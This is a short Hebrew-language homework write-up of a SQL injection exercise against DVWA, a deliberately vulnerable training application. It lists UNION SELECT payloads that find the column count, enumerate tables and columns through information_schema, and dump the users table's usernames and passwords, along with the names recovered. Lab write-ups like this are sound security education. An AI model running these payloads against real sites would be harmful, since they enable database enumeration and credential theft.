**מטלה 1**

1. כתבנו 1 וזה הid הראשון יתן לנו את המשתמש עם ה id הזה
2. **' UNION SELECT null,null --**

ננסה קודם עם null אחד אחר זה נוסיף עוד null עד שנגיע למספר העמודות

יצא לנו 2 עמודות

1. **' UNION SELECT table\_name,1 from information\_schema.tables where table\_schema='dvwa' --**

שמות הטבלאות: guestbook ,users

1. **' UNION SELECT null,column\_name from information\_schema.columns where table\_name='users' --**

שמות העמודות: user\_id , first\_name , last\_name , user , password , avatar , last\_login , failed\_login ,CURRENT\_CONNECTIONS ,TOTAL\_CONNECTIONS

1. **'UNION SELECT null,concat(user,password) from users –**

שמות המשתמשים: admin , gordonbe , Pablo , smithy